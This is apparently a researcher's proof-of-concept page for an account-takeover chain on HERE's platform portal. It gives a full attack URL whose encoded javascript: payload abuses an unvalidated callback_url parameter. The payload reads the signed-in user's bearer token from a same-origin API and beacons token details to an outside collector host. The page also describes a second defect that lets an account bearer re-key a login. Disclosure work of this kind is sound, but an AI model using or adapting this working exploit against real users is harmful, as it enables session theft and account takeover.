HERE Account takeover chain — proof of concept
One navigation, on HERE's own origin. No attacker credential, no password needed from you.
One prerequisite: be signed in at
platform.here.com
with an account you own that holds a provisioned HERE platform organization. That is the ordinary state
of any platform user.
Then click once. Nothing is typed, and no password is given to this page.
Open the attack link
What you should see: the page repaints with your own platform.here.com bearer, read by
attacker JavaScript from the portal's own route /api/portal/accessToken. The tab title becomes
PWNED-PORTAL-TOK<length>.
platform.here.com/portal/sign-up takes callback_url into
window.location.href with no validation, so a javascript: value executes on that
first-party origin. isTrustedRedirect exists in the same bundle and is applied to the
r parameter only; the sibling token-exchange sink does gate its value.
- Script on that origin reads the portal bearer from
/api/portal/accessToken, which is
same-origin and therefore not protected by the HttpOnly session cookies.
Scope of this page. It demonstrates the cross-site scripting and its same-origin consequence,
which is what a platform user's session actually exposes. A second, separate defect lets
account.here.com/sdk-callback-page hand a full HERE Account record and an account bearer to
any here.com origin that frames it, and that bearer alone re-keys the account's login
identifier. That one needs a realm: HERE HERE Account session, and signing in to the portal
clears those cookies, so the two are not chainable through a browser and this page does not claim they
are. It is reported separately with its own proof.
What leaves your browser: nothing but a proof. The record and the bearer stay in the page. The collector receives only the origin, your own userId and email, the bearer's length and first 8 characters, and the HTTP status of that one API call. The full token is left in the page as window.__t if you want to continue to the write steps described in the report.
The link, in full:
https://platform.here.com/portal/sign-up?account-not-complete&reason=bamStatus&channel=selfServe&ff_6867_redirection_issue_fix=true&step=registration-done&callback_url=javascript%3Aif(window.__herepoc)%7Bvoid%200%7Delse%7Bwindow.__herepoc%3D1%3Bdocument.title%3D'XSSPOC-'%2Bdocument.domain%3B(function()%7Btry%7Bfor(var%20i%3D1%3Bi%3C9999%3Bi%2B%2B)%7BclearInterval(i)%3BclearTimeout(i)%7D%7Dcatch(e)%7B%7Dtry%7Bwindow.stop()%7Dcatch(e)%7B%7Dvar%20sent%3D0%2Cout%3Dfunction(m%2Cbad)%7Btry%7Bvar%20d%3Ddocument.createElement('div')%3Bd.style.cssText%3D'position%3Afixed%3Binset%3A0%3Bz-index%3A2147483647%3Bbackground%3A'%2B(bad%3F'%231a0f12'%3A'%230b0e14')%2B'%3Bcolor%3A%23d7e0ea%3Bfont%3A13.5px%2F1.6%20ui-monospace%2Cmonospace%3Bpadding%3A28px%3Boverflow%3Aauto%3Bwhite-space%3Apre-wrap'%3Bd.textContent%3Dm%3Bdocument.documentElement.appendChild(d)%7Dcatch(e)%7B%7D%7D%2Cbeac%3Dfunction(o)%7Bif(sent)return%3Bsent%3D1%3Bo.origin%3Ddocument.domain%3Bo.href%3Dlocation.href.slice(0%2C180)%3Bo.ts%3Dnew%20Date().toISOString()%3Btry%7Bnavigator.sendBeacon('https%3A%2F%2Fhere-account-chain-poc.pages.dev%2Fc'%2Cnew%20Blob(%5BJSON.stringify(o)%5D%2C%7Btype%3A'text%2Fplain'%7D))%7Dcatch(e)%7Bfetch('https%3A%2F%2Fhere-account-chain-poc.pages.dev%2Fc'%2C%7Bmethod%3A'POST'%2Cmode%3A'no-cors'%2Cbody%3AJSON.stringify(o)%7D)%7D%7D%3Bfetch('%2Fapi%2Fportal%2FaccessToken'%2C%7Bcredentials%3A'include'%7D).then(function(r)%7Breturn%20r.text().then(function(t)%7Breturn%5Br.status%2Ct%5D%7D)%7D).then(function(p)%7Bvar%20tok%3D''%2Cexp%3D''%2Caid%3D''%3Btry%7Bvar%20j%3DJSON.parse(p%5B1%5D)%3Btok%3Dj.accessToken%7C%7C''%3Bexp%3Dj.accessTokenExpires%7C%7C''%3Bvar%20c%3DJSON.parse(atob(tok.split('.')%5B0%5D))%3Baid%3Dc.aid%7C%7C''%7Dcatch(e)%7B%7Dwindow.__portalToken%3Dtok%3Bbeac(%7Bresult%3Atok%3F'portal-bearer'%3A'no-portal-bearer'%2ChttpStatus%3Ap%5B0%5D%2CtokenLen%3Atok.length%2CtokenPrefix%3Atok.slice(0%2C10)%2CclientId%3Aaid%2Cexpires%3Aexp%7D)%3Bdocument.title%3D(tok%3F'PWNED-PORTAL-TOK'%2Btok.length%3A'XSSPOC-'%2Bdocument.domain)%3Bout(tok%3F('HERE%3A%20cross-site%20scripting%20on%20a%20first-party%20origin.%5Cn%5Cn'%2B'attacker%20JavaScript%20is%20running%20on%20%3A%20'%2Bdocument.domain%2B'%5Cn'%2B'delivered%20by%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3A%20the%20callback_url%20parameter%20of%20%2Fportal%2Fsign-up%2C%5Cn'%2B'%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20which%20reaches%20window.location.href%20unvalidated%5Cn%5Cn'%2B'Same-origin%20consequence%2C%20read%20just%20now%20by%20that%20script%3A%5Cn'%2B'%20%20GET%20%2Fapi%2Fportal%2FaccessToken%20%20%20HTTP%20'%2Bp%5B0%5D%2B'%5Cn'%2B'%20%20your%20platform%20bearer%20%20%20%20%20%20%20%20%20%20'%2Btok.slice(0%2C16)%2B'...'%2Btok.slice(-8)%2B'%20%20(length%20'%2Btok.length%2B')%5Cn'%2B'%20%20issued%20to%20client%20%20%20%20%20%20%20%20%20%20%20%20%20%20'%2Baid%2B'%5Cn'%2B'%20%20expires%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20'%2Bexp%2B'%5Cn%5Cn'%2B'Only%20a%20proof%20went%20to%20the%20collector%3A%20length%2C%20first%2010%20characters%2C%20client%20id%2C%20expiry.%5Cn'%2B'The%20token%20itself%20stayed%20in%20this%20page%20as%20window.__portalToken.%20You%20can%20close%20this%20tab.')%3A('The%20script%20ran%20on%20'%2Bdocument.domain%2B'%20(step%201%20proven)%20but%20%2Fapi%2Fportal%2FaccessToken%5Cn'%2B'returned%20HTTP%20'%2Bp%5B0%5D%2B'%20with%20no%20token.%20Are%20you%20signed%20in%20to%20platform.here.com%3F')%2Ctok%3F0%3A1)%7D).catch(function(e)%7Bbeac(%7Bresult%3A'fetch-failed'%2Cerr%3AString(e).slice(0%2C120)%7D)%3Bout('script%20ran%20on%20'%2Bdocument.domain%2B'%20but%20the%20same-origin%20fetch%20failed%3A%20'%2Be%2C1)%7D)%3B%7D)()%7D